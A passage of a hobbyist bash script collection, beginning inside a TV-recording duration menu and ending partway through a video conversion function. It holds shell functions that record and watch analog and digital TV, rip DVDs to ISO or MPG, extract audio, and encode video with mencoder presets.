		FALSE "06:30:00" "6:30 minutes" \
		FALSE "06:45:00" "6:45 minutes" \
		FALSE "07:00:00" "7 hours" \
		FALSE "07:15:00" "7:15 minutes" \
		FALSE "07:30:00" "7:30 minutes" \
		FALSE "07:45:00" "7:45 minutes" \
		FALSE "08:00:00" "8 hours" \
		FALSE "08:15:00" "8:15 minutes" \
		FALSE "08:30:00" "8:30 minutes" \
		FALSE "08:45:00" "8:45 minutes" \
		FALSE "09:00:00" "9 hours" \
		FALSE "09:15:00" "9:15 minutes" \
		FALSE "09:30:00" "9:30 minutes" \
		FALSE "09:45:00" "9:45 minutes" \
		FALSE "10:00:00" "10 hours" \
		FALSE "10:15:00" "10:15 minutes" \
		FALSE "10:30:00" "10:30 minutes" \
		FALSE "10:45:00" "10:45 minutes" \
		FALSE "11:00:00" "11 hours" \
		FALSE "11:15:00" "11:15 minutes" \
		FALSE "11:30:00" "11:30 minutes" \
		FALSE "11:45:00" "11:45 minutes" \
		FALSE "12:00:00" "12 hours" \
		FALSE "12:15:00" "12:15 minutes" \
		FALSE "12:30:00" "12:30 minutes" \
		FALSE "12:45:00" "12:45 minutes" \
		FALSE "13:00:00" "13 hours" \
		FALSE "13:15:00" "13:15 minutes" \
		FALSE "13:30:00" "13:30 minutes" \
		FALSE "13:45:00" "13:45 minutes" \
		FALSE "14:00:00" "14 hours" \
		FALSE "14:15:00" "14:15 minutes" \
		FALSE "14:30:00" "14:30 minutes" \
		FALSE "14:45:00" "14:45 minutes" \
		FALSE "15:00:00" "15 hours" \
		FALSE "15:15:00" "15:15 minutes" \
		FALSE "15:30:00" "15:30 minutes" \
		FALSE "15:45:00" "15:45 minutes" \
		FALSE "16:00:00" "16 hours" \
		FALSE "16:15:00" "16:15 minutes" \
		FALSE "16:30:00" "16:30 minutes" \
		FALSE "16:45:00" "16:45 minutes" \
		FALSE "17:00:00" "17 hours" \
		FALSE "17:15:00" "17:15 minutes" \
		FALSE "17:30:00" "17:30 minutes" \
		FALSE "17:45:00" "17:45 minutes" \
		FALSE "18:00:00" "18 hours" \
		FALSE "18:15:00" "18:15 minutes" \
		FALSE "18:30:00" "18:30 minutes" \
		FALSE "18:45:00" "18:45 minutes" \
		FALSE "19:00:00" "19 hours" \
		FALSE "19:15:00" "19:15 minutes" \
		FALSE "19:30:00" "19:30 minutes" \
		FALSE "19:45:00" "19:45 minutes" \
		FALSE "20:00:00" "20 hours" \
		FALSE "20:15:00" "20:15 minutes" \
		FALSE "20:30:00" "20:30 minutes" \
		FALSE "20:45:00" "20:45 minutes" \
		FALSE "21:00:00" "21 hours" \
		FALSE "21:15:00" "21:15 minutes" \
		FALSE "21:30:00" "21:30 minutes" \
		FALSE "21:45:00" "21:45 minutes" \
		FALSE "22:00:00" "22 hours" \
		FALSE "22:15:00" "22:15 minutes" \
		FALSE "22:30:00" "22:30 minutes" \
		FALSE "22:45:00" "22:45 minutes" \
		FALSE "23:00:00" "23 hours" \
		FALSE "23:15:00" "23:15 minutes" \
		FALSE "23:30:00" "23:30 minutes" \
		FALSE "23:45:00" "23:45 minutes" \
		FALSE "24:00:00" "24 hours" \
		| sed 's/ max//g' `
	    echo "$time_type chosen as the record time."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$time_type" ]; then
		zenity --error --title="Error" --text="You must select a Time!"
		exit
	    fi
	    ###### Choose a Filename? ######
	    ###### user must enter a filename
	    title="Please enter a filename for your recording, no spaces"
	    file_name=`zenity  --width="480" --height="150" --title="$title" --entry`
	    echo "$file_name entered as the file name."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$file_name" ]; then
		zenity --error --title="Error" --text="You must enter a Filename!"
		exit
	    fi
	    ###### Select the Quality of Your Recording? ######
	    ###### quality?
	    title="What quality do you want to record at ?"
	    qual_type=`zenity  --width="380" --height="380" --title="$title" --list --radiolist --column="Click Here" \
		--column="Record Quality" --column="Description" \
		FALSE "500" "Passable Quality"\
		FALSE "900" "OK Quality"\
		FALSE "1100" "VHS Quality"\
		FALSE "1300" "SVHS Quality"\
		FALSE "1500" "VCD Quality"\
		TRUE "1600" "MY Quality"\
		FALSE "1800" "SVCD Quality" \
		FALSE "2000" "Very Good Quality"\
		FALSE "2500" "High Quality" \
		FALSE "3000" "Excellent Quality"\
		| sed 's/ max//g' `
	    echo "$qual_type chosen as the encoding quality."
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$qual_type" ]; then
		zenity --error --title="Error" --text="You must select an encoding quality!"
		exit
	    fi
	    ###### Start Time, Now or a Set Time Later? ######
	    ###### date-time timer
	    # enter required time:
	    title="Please enter a start time..."
	    starttime=`zenity  --width="480" --height="150" --title="$title" --entry --entry-text="now" --text="Enter Start Time in 00:00 format
	    or click 'OK' for immediate start"`
	    echo "$starttime entered as the start time."
	    curtime=$(date --utc --date now +%s)
	    echo "$curtime entered as the current time."
	    newtime=$(date --utc --date $starttime +%s)
	    echo "$newtime entered as the start time."
	    waittime=$(($newtime - $curtime))
	    echo "$waittime entered as time to wait before encoding starts"
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$newtime" ]; then
		zenity --error --title="Error" --text="You must enter a Start Time!"
		exit
	    fi
	    echo Channel= $achan_type
	    echo Filename= $file_name
	    echo Encode length= $time_type
	    echo Quality of encode= $qual_type
	    sleep $waittime
	    ###### The Actual Analog Video Encoding? ######
	    ###### video encoding analog
	    # YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
	    # In the third script (after "else") just change the
	    # chanlist value from us-cable to your chanlist region
	    # AND change device (video1) to video0 or whatever if need be
	    if [ "$achan_type" = "Composite" ]; then
		input_type=1
		mencoder -tv driver=v4l2:device=/dev/video1:input=$input_type:norm=ntsc:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="COMPOSITE Recording Script" --text="Processing Video...
		$file_name"
	    elif [ "$achan_type" = "SVIDEO" ]; then
		input_type=2
		mencoder -tv driver=v4l2:device=/dev/video1:input=$input_type:norm=ntsc:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="SVIDEO Recording Script" --text="Processing Video...
		$file_name"
	    elif [ "$achan_type" = "Custom" ]; then
		# custom channel
		custom_achannel="Please enter custom analog channel, no spaces"
		achan_type_custom=`zenity  --width="480" --height="150" --title="$custom_achannel" --entry`
		echo "$achan_type_custom entered as the analog channel."
		mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type_custom:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="ANALOG TV Recording Script" --text="Processing Video...
		$file_name"
	    else
		mencoder -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type:alsa=1:adevice=hw.1:audiorate=48000:immediatemode=0:amode=1 tv:// -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=$qual_type:vhq:v4mv:keyint=250 -vf pp=de,pullup,softskip -oac mp3lame -lameopts abr:br=128:vol=3 -ffourcc xvid -o $HOME/Temp/$file_name.avi -endpos $time_type | zenity --progress --percentage=0 --title="ANALOG TV Recording Script" --text="Processing Video...
		$file_name"
	    fi
	elif [ "$tv_type" = "DVB_TV" ]; then
	    ############ WATCH DVB TV (through MPlayer)
	    # YOU NEED TO EDIT THIS SECTION FOR YOUR ENVIRONMENT
	    # gives you list of your current dvb channels
	    dchan_type=$(zenity --entry --text="What digital tv channel would you like to watch?:

	    ATSC/NTSC local digital channel list:
	    ADD YOUR LIST OF DIGITAL CHANNELS HERE FOR EASY USE ")
	    mplayer dvb://$dchan_type
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$dchan_type" ]; then
		zenity --error --title="Error" --text="You must select a Channel!"
		exit
	    fi
	elif [ "$tv_type" = "ANALOG_TV" ]; then
	    ############ WATCH Analog TV (through MPlayer)
	    achan_type=$(zenity --entry --text="What analog/cable tv channel would you like to watch?: ")
	    sh -c "mplayer -tv driver=v4l2:device=/dev/video1:input=0:norm=ntsc:chanlist=us-cable:channel=$achan_type tv:// & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
	    ###### user must select a target type (Check if they cancelled)
	    if [ ! "$achan_type" ]; then
		zenity --error --title="Error" --text="You must select a Channel!"
		exit
	    fi
	elif [ "$tv_type" = "ANALOG_TV1" ]; then
	    ############ WATCH Analog TV (through TVtime 1)
	    sox -s -r 32000 -c 2 -t alsa hw:1,0 -s -r 32000 -c 2 -t alsa hw:0,0 &
	    tvtime
	    t=`pidof sox`;
	    kill $t;
	else
	    ############ WATCH Analog TV (through TVtime 2)
	    sh -c "tvtime & sox -r 48000 -t alsa hw:1,0 -t alsa hw:0,0"
	fi
	exit
}

############ DVD ############

###### DVD to ISO
function dvd2iso()
{
	# to get desired device
	df -h -x tmpfs -x usbfs
	echo -n "Using the information in the terminal window, please enter the appropriate DVD drive:
	"
	read DVDDEVICE
	echo -n "Please enter a name for the ISO file you will create:
	"
	read XVIDNAME
	pv "$DVDDEVICE" | dd of="$XVIDNAME".iso
}
alias dvdcopy='dvd2iso'

###### DVD to MPG
function dvd2mpg()
{
	# to get desired device
	df -h -x tmpfs -x usbfs
	echo -n "Using the information in the terminal window, please enter the appropriate DVD drive:
	"
	read DVDDEVICE
	# to get desired title on dvd
	# requires lsdvd: sudo apt-get install lsdvd
	lsdvd "$DVDDEVICE"
	echo -n "Using the information in the terminal window, please enter the title number you will convert (usually the longest one):
	"
	read DVDTITLE
	echo -n "Please enter a name for the MPG/MPEG file you will convert:
	"
	read MPEGNAME
	mplayer dvd://"$DVDTITLE" -dumpstream -alang es -dumpfile "$MPEGNAME".mpg
}
alias dvd2mpeg='dvd2mpg'

###### DVD to VOB - requires vobcopy: sudo apt-get install vobcopy
alias dvd2vob='vobcopy -i /dev/dvd -o ~/ -l'
alias dvd2vob='dvd2mpg'

###### extract audio from DVD VOB files - USAGE:	dvdaudio input_file.vob output_file.ac3
function dvdaudio()
{
	echo -n "Please enter the name (full path) for the MPG/MPEG/VOB file you will extract the audio from:
	"
	read VOBNAME
	echo -n "Please enter a name for the audio file you will extract from the MPG/MPEG/VOB file:
	"
	read AC3NAME
	mplayer "$VOBNAME" -aid 128 -dumpaudio -dumpfile "$AC3NAME"
}

############ Video ############

###### Video to AVI
function video2avi()
{
	# Video To Avi
	# Created:	Inameiname
	# Version:	3.2
	####################### Run in the terminal on double-click
	tty -s; if [ $? -ne 0 ] ; then gnome-terminal -e "$0"; exit; fi
	####################### If it doesn't run in the terminal on double-click, say so
	[ -t 0 ] && [ -t 1 ] || { zenity --warning --text="${0}: this script must be run from a terminal." ; exit 1 ;}
	####################### Check whether environment variables are empty
	###### see if the Nautilus environment variable is empty
	# if it exists, set it equal to 'INPUT_FILE'
	for ARCHIVE_FULLPATH in $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS; do
	    ARCHIVE_PATH=${ARCHIVE_FULLPATH%.*}
	if [ -f $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ] ; then
	# if select iso file:
	if [ $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS = $ARCHIVE_PATH.iso ] ; then
	# to get desired title on dvd
	# requires lsdvd: sudo apt-get install lsdvd
	lsdvd $ARCHIVE_PATH.iso
	echo -n "Please enter the title number you will convert (usually the longest one):

	Press 'Enter' for default (default is '1')...

	"
	read TITLE
	# extra blank space
	echo "
	"
	# default
	if [[ -z $TITLE ]] ; then
	# If no title passed, default to 1
	    TITLE=1
	fi
	    INPUT_FILE="dvd://$TITLE -dvd-device $ARCHIVE_PATH.iso"
	fi
	# if select video file:
	if [ $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS != $ARCHIVE_PATH.iso ] ; then
	    INPUT_FILE=$NAUTILUS_SCRIPT_SELECTED_FILE_PATHS
	fi
	fi
	done
	# if it's blank, set it equal to $1
	if [ -z $NAUTILUS_SCRIPT_SELECTED_FILE_PATHS ] ; then
	    # If it's blank, set it equal to $1
	    NAUTILUS_SCRIPT_SELECTED_FILE_PATHS=$1
	###### see if the '$1' variable is empty
	# if it exists, set it equal to 'INPUT_FILE'
	for ARCHIVE_FULLPATH in $1; do
	    ARCHIVE_PATH=${ARCHIVE_FULLPATH%.*}
	if [ -f $1 ] ; then
	# if select iso file:
	if [ $1 = $ARCHIVE_PATH.iso ] ; then
	# to get desired title on dvd
	# requires lsdvd: sudo apt-get install lsdvd
	lsdvd $ARCHIVE_PATH.iso
	echo -n "Please enter the title number you will convert (usually the longest one):

	Press 'Enter' for default (default is '1')...

	"
	read TITLE
	# extra blank space
	echo "
	"
	# default
	if [[ -z $TITLE ]] ; then
	# If no title passed, default to 1
	    TITLE=1
	fi
	    INPUT_FILE="dvd://$TITLE -dvd-device $ARCHIVE_PATH.iso"
	fi
	# if select video file:
	if [ $1 != $ARCHIVE_PATH.iso ] ; then
	    INPUT_FILE=$1
	fi
	fi
	done
	# if it's blank, do the following:
	if [ -z "$1" ] ; then
	####################### Input DVD/ISO/VIDEO file menu
	echo -n "What do you want to convert to AVI?:

	(1) DVD
	(2) ISO file
	(3) Video file (such as MKV, VOB, MPEG, AVI, WMV, and etc.)

	Press 'Enter' for default (default is '1')...

	"
	read TYPE
	# extra blank space
	echo "
	"
	###### Input DVD/ISO/VIDEO source default ######
	if [[ -z $TYPE ]] ; then
	    # If no media passed, default to 1
	    TYPE=1
	fi
	###### Input DVD/ISO/VIDEO source ######
	###### DVD to AVI
	if [[ $TYPE = 1 ]] ; then
	# to get desired device
	df -h -x tmpfs -x usbfs
	echo -n "Please enter the appropriate DVD drive:

	(1) /dev/dvd
	(2) /dev/sr0
	(3) /dev/sr1
	(4) /dev/sr2
	(5) custom

	Press 'Enter' for default (default is '1')...

	"
	read DEVICE_NUMBER
	# extra blank space
	echo "
	"
	# default
	if [[ -z $DEVICE_NUMBER ]] ; then
	# If no device passed, default to /dev/dvd
	    DEVICE=/dev/dvd
	fi
	# preset
	if [[ $DEVICE_NUMBER = 1 ]] ; then
	    DEVICE=/dev/dvd
	fi
	if [[ $DEVICE_NUMBER = 2 ]] ; then
	    DEVICE=/dev/sr0
	fi
	if [[ $DEVICE_NUMBER = 3 ]] ; then
	    DEVICE=/dev/sr1
	fi
	if [[ $DEVICE_NUMBER = 4 ]] ; then
	    DEVICE=/dev/sr2
	fi
	# custom
	if [[ $DEVICE_NUMBER = 5 ]] ; then
	    echo -n "Please enter the appropriate DVD drive:  "
	    echo -n "...like this: '/dev/dvd'..."
	    read CUSTOM_DEVICE
	    DEVICE=$CUSTOM_DEVICE
	fi
	# to get desired title on dvd
	# requires lsdvd: sudo apt-get install lsdvd
	lsdvd $DEVICE
	echo -n "Please enter the title number you will convert (usually the longest one):

	Press 'Enter' for default (default is '1')...

	"
	read TITLE
	# extra blank space
	echo "
	"
	# default
	if [[ -z $TITLE ]] ; then
	# If no title passed, default to 1
	TITLE=1
	fi
	# to decide to copy straight from the DVD or first copy to hard drive to ISO
	echo -n "Would you first like to copy the DVD onto your hard drive (to ISO)?:

	(1) Yes (Highly Recommended)
	(2) No

	Press 'Enter' for default (default is '1')...

	"
	read DVD2ISO
	# extra blank space
	echo "
	"
	# default
	if [[ -z $DVD2ISO ]] ; then
	# If no DVD2ISO passed, default to 1
	dd if=$DEVICE of=NEW.iso
	INPUT_FILE="dvd://$TITLE -dvd-device NEW.iso"
	fi
	# preset
	if [[ $DVD2ISO = 1 ]] ; then
	dd if=$DEVICE of=NEW.iso
	INPUT_FILE="dvd://$TITLE -dvd-device NEW.iso"
	fi
	if [[ $DVD2ISO = 2 ]] ; then
	INPUT_FILE="dvd://$TITLE -dvd-device $DEVICE"
	fi
	fi
	###### ISO to AVI
	if [[ $TYPE = 2 ]] ; then
	echo -n "Please enter the full path for the ISO:

	Example: /home/(your username)/Videos/NEW.iso...

	"
	read ISO
	# extra blank space
	echo "
	"
	# to get desired title on dvd
	# requires lsdvd: sudo apt-get install lsdvd
	lsdvd $ISO
	echo -n "Please enter the title number you will convert (usually the longest one):

	Press 'Enter' for default (default is '1')...

	"
	read TITLE
	# extra blank space
	echo "
	"
	# default
	if [[ -z $TITLE ]] ; then
	# If no title passed, default to 1
	TITLE=1
	fi
	INPUT_FILE="dvd://$TITLE -dvd-device $ISO"
	fi
	###### Video to AVI
	if [[ $TYPE = 3 ]] ; then
	echo -n "Please enter the name for the input file (full path, with extension):

	It can be any type, such as MKV, VOB, MPEG, AVI, WMV, and etc...

	Example: /home/(your username)/Videos/NEW.avi...

	"
	read VIDEO_FILE
	# extra blank space
	echo "
	"
	INPUT_FILE=$VIDEO_FILE
	fi
	####################### Close the variable statements
	fi
	fi
	####################### Cropping (done automatically)
	###### start a timer to kill mplayer
	echo "Cropdetect is now running...

	A few seconds of your video should now be playing...
	"
	###### start a timer to kill mplayer
	(sleep 6 && killall mplayer)&
	###### start the mplayer cropdetect on on the DVD at a random time
	mplayer $INPUT_FILE -ss 0:03:10 -vf cropdetect &> mplayer.tmp
	###### get last crop value from mplayer output and store in variable
	CROP_VALUES=$(awk -F'crop=' '/\[CROP\]/{f=$2} END{print f}' ./mplayer.tmp |cut -d')' -f1)
	###### print detected crop values
	echo -e "\n\nDetected crop values = ${CROP_VALUES}\n\n"
	####################### Output desired name for file
	###### file input
	echo -n "Please enter a name for the output file (without extension):

	Press 'Enter' for default (default is 'NEW')...

	"
	read OUTPUT_FILE
	###### extra blank space
	echo "
	"
	###### default ######
	if [[ -z $OUTPUT_FILE ]] ; then
	    # If no file passed, default to NEW
	    OUTPUT_FILE=NEW_$(date "+%y.%m.%d_%H.%M")
	fi
	####################### Available processor number (done automatically)
	CPUS=$(grep -c processor /proc/cpuinfo)
	echo "Using $CPUS processor(s)..."
	###### extra blank space
	echo "
	"
	####################### Preset/Custom type options
	echo -n "Select a quality level:
	(1) exact copy quality MPEG		    (DVD/ISO sources only)
	(2) exact copy audio-only quality AC3	    (DVD/ISO sources only)
	(3) very high quality H.264 (2-pass)	    (350min:105min film w/2 1.5mhz cpus)
	(4) very high quality DIVX/MPEG-4 (2-pass)  (270min:105min film w/2 1.5mhz cpus)
	(5) very high quality XVID (2-pass)	    (220min:105min film w/2 1.5mhz cpus)
	(6) very high quality H.264 (1-pass)	    (400min:105min film w/2 1.5mhz cpus)
	(7) very high quality DIVX/MPEG-4 (1-pass)  (230min:105min film w/2 1.5mhz cpus)
	(8) very high quality XVID (1-pass)	    (180min:105min film w/2 1.5mhz cpus)
	(9) high quality H.264 (2-pass)		    (240min:105min film w/2 1.5mhz cpus)
	(10)high quality DIVX/MPEG-4 (2-pass)	    (190min:105min film w/2 1.5mhz cpus)
	(11)high quality XVID (2-pass)		    (135min:105min film w/2 1.5mhz cpus)
	(12)high quality H.264 (1-pass)	     	    (200min:105min film w/2 1.5mhz cpus)
	(13)high quality DIVX/MPEG-4 (1-pass)	    (150min:105min film w/2 1.5mhz cpus)
	(14)high quality XVID (1-pass)		    (090min:105min film w/2 1.5mhz cpus)
	(15)fast quality H.264 (1-pass)	     	    (155min:105min film w/2 1.5mhz cpus)
	(16)fast quality DIVX/MPEG-4 (1-pass)	    (065min:105min film w/2 1.5mhz cpus)
	(17)fast quality XVID (1-pass)		    (065min:105min film w/2 1.5mhz cpus)
	(18)fast quality XVID YouTube (1-pass)	    (025min:105min film w/2 1.5mhz cpus)
	(19)realtime quality DIVX/MPEG-4 (1-pass)   (050min:105min film w/2 1.5mhz cpus)
	(20)realtime quality XVID (1-pass)	    (060min:105min film w/2 1.5mhz cpus)
	(21)low quality WMV (1-pass)		    (017min:105min film w/2 1.5mhz cpus)
	(22)custom quality
	Press 'Enter' for default (default is '14')...  "
	read Q
	###### extra blank space
	echo "
	"
	###### default ######
	if [[ -z $Q ]] ; then
	    # If no quality passed, default to 14
	    Q=14
	fi
	####################### Frame rate
	###### frame rate menu
	if [[ $Q != 1 && $Q != 2 ]] ; then
	echo -n "Select a frame rate level:

	(1) NTSC-VIDEO 	(~ 30 fps)
	(2) NTSC-FILM	(~ 24 fps)
	(3) PAL		(~ 25 fps)
	(4) Streaming	(~ 15 fps)
	(5) custom

	Press 'Enter' for default (default is '2')...

	"
	read FRAME_RATE_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $FRAME_RATE_NUMBER ]] ; then
	    # If no frame rate passed, default to 2
	    FRAME_RATE="-ofps 24000/1001"
	fi
	###### preset
	if [[ $FRAME_RATE_NUMBER = 1 ]] ; then
	    FRAME_RATE="-ofps 30000/1001"
	fi
	if [[ $FRAME_RATE_NUMBER = 2 ]] ; then
	    FRAME_RATE="-ofps 24000/1001"
	fi
	if [[ $FRAME_RATE_NUMBER = 3 ]] ; then
	    FRAME_RATE="-ofps 25000/1001"
	fi
	if [[ $FRAME_RATE_NUMBER = 4 ]] ; then
	    FRAME_RATE="-ofps 15000/1001"
	fi
	###### custom
	if [[ $FRAME_RATE_NUMBER = 5 ]] ; then
	    echo -n "Please enter a frame rate:  "
	    echo -n "...like this: '-ofps 15000/1001'..."
	    read CUSTOM_FRAME_RATE
	    FRAME_RATE=$CUSTOM_FRAME_RATE
	fi
	fi
	####################### Divx ffourcc menu
	###### DivX ffourcc menu
	if [[ $Q != 1 && $Q != 2 && $Q != 3 && $Q != 5 && $Q != 6 && $Q != 8 && $Q != 9 && Q != 11 && $Q != 12 && $Q != 14 && $Q != 15 && $Q != 17 && $Q != 18 && $Q != 20 && $Q != 21 && $Q != 22 ]] ; then
	echo -n "Select the desired Divx or generic MPEG4 quality:

	(1) FFMPEG MPEG-4
	(2) DivX MPEG-4 Version 4
	(3) DivX MPEG-4 Version 5

	Press 'Enter' for default (default is '3')...

	"
	read DIVX_NUMBER
	###### extra blank space
	echo "
	"
	###### default
	if [[ -z $DIVX_NUMBER ]] ; then
	    # If no file passed, default to 3
	    DIVX="-ffourcc DX50"
	fi
	###### preset
	if [[ $DIVX_NUMBER = 1 ]] ; then
	    DIVX=
	fi
	if [[ $DIVX_NUMBER = 2 ]] ; then
	    DIVX="-ffourcc DIVX"
	fi
	if [[ $DIVX_NUMBER = 3 ]] ; then
	    DIVX="-ffourcc DX50"
	fi
	fi
	####################### Conversion is starting
	###### conversion is starting message
	if [[ $Q != 22 ]] ; then
	read -sn 1 -p "Your conversion is about to begin, press any key to continue..."
	fi
	###### extra blank space
	echo "
	"
	####################### Conversions
	###### preset ######
	###### exact copy quality (DVD/ISO sources only)
	if [[ $Q = 1 ]] ; then
	# If 1 passed, use MPEG exact copy quality
	mplayer $INPUT_FILE -dumpstream -dumpfile $OUTPUT_FILE.mpg
	fi
	if [[ $Q = 2 ]] ; then
	# If 2 passed, use MPEG exact copy audio-only quality
	mplayer $INPUT_FILE -dumpaudio -dumpfile $OUTPUT_FILE.ac3
	fi
	###### very high quality
	if [[ $Q = 3 ]] ; then
	# very high H.264 quality (2-pass)
	# actual two-pass conversion
	mencoder $INPUT_FILE -nosound -ovc x264 -x264encopts pass=1:subq=1:partitions=all:8x8dct:me=umh:frameref=1:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=2000 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES} $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc x264 -x264encopts pass=2:subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=2000 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 4 ]] ; then
	# very high MPEG4 quality (2-pass)
	# actual two-pass conversion
	mencoder $INPUT_FILE -nosound -ovc lavc $DIVX -lavcopts vpass=1:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc lavc $DIVX -lavcopts vpass=2:vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:vhq:threads=$CPUS:vbitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 5 ]] ; then
	# very high XVID quality (2-pass)
	# actual two-pass conversion
	mencoder $INPUT_FILE -nosound -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=1:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc xvid -xvidencopts pass=2:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 6 ]] ; then
	# very high H.264 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc x264 -x264encopts subq=6:partitions=all:8x8dct:me=umh:frameref=5:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 7 ]] ; then
	# very high MPEG4 quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc lavc $DIVX -lavcopts vcodec=mpeg4:mbd=2:mv0:trell:v4mv:cbp:last_pred=3:predia=2:dia=2:vmax_b_frames=2:vb_strategy=1:precmp=2:cmp=2:subcmp=2:preme=2:qns=2:vhq:threads=$CPUS:vbitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 8 ]] ; then
	# very high XVID quality (1-pass)
	# actual one-pass conversion
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=192:vol=3 -ovc xvid -xvidencopts chroma_opt:vhq=4:bvhq=1:quant_type=mpeg:threads=$CPUS:bitrate=2000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES} $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	###### high quality
	if [[ $Q = 9 ]] ; then
	# high H.264 quality (2-pass)
	# actual two-pass conversion
	mencoder $INPUT_FILE -nosound -ovc x264 -x264encopts pass=1:subq=1:partitions=all:8x8dct:me=umh:frameref=1:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=-700000 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc x264 -x264encopts pass=2:subq=5:8x8dct:frameref=2:bframes=3:b_pyramid=normal:weight_b:threads=auto:bitrate=1200 -vf pp=de,pullup,softskip,harddup,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 10 ]] ; then
	# high MPEG4 quality (2-pass)
	# actual two-pass conversion
	mencoder $INPUT_FILE -nosound -ovc lavc $DIVX -lavcopts vpass=1:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o '/dev/null'
	mencoder $INPUT_FILE -oac mp3lame -lameopts abr:br=128:vol=3 -ovc lavc $DIVX -lavcopts vpass=2:vcodec=mpeg4:mbd=2:trell:v4mv:last_pred=2:dia=-1:vmax_b_frames=2:vb_strategy=1:cmp=3:subcmp=3:precmp=0:vqcomp=0.6:turbo:vhq:threads=$CPUS:vbitrate=1100 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o $OUTPUT_FILE.avi
	fi
	if [[ $Q = 11 ]] ; then
	# high XVID quality (2-pass)
	# actual two-pass conversion
	mencoder $INPUT_FILE -nosound -ovc xvid -xvidencopts pass=1:vhq=1:bvhq=1:chroma_opt:quant_type=mpeg:threads=$CPUS:bitrate=-700000 -vf pp=de,pullup,softskip,crop=${CROP_VALUES},scale -zoom -xy 624 $FRAME_RATE -o '/dev/null'
